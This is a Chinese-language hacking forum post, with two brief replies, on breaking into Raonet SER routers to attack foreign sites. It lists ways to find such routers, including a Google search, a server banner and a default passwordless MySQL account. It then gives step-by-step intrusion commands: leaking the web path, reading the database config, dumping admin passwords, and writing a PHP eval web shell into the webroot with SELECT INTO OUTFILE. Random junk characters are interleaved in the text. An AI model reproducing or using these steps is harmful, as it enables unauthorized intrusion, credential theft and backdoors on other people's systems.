利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

" t, d3 ^  J5 E% H( [% K1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
% w4 W+ M3 Z% Q! [+ x7 Q+ }
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

: Z- `7 ~0 E8 k& u& D//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......


& \7 U; s8 g/ y) C5 a) _
入侵步骤：
6 m5 Q- S5 m, f. t$ T. ^+ O% [9 B4 ]; T
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
! Q) w; ~& g2 c8 }" T+ w$ ause ser_500
select id,passwd from user;
: S, u& |1 }! m8 A# X" `4:通过数据库写入webshell，执行命令：
use mysql;
0 Z( |' I9 u! O7 Z0 \$ O4 B( o$ Qcreate table ok(cmd TEXT);
+ I+ m5 }7 o8 U# x' ]+ binsert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
+ [; U/ T/ [1 }* e- V5 }: F5 mdrop table ok;
' [- K6 L$ b9 g" O5 g1 h& b0 J
5:连接后门shell.php
% j/ U$ b1 S) ^% h
6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。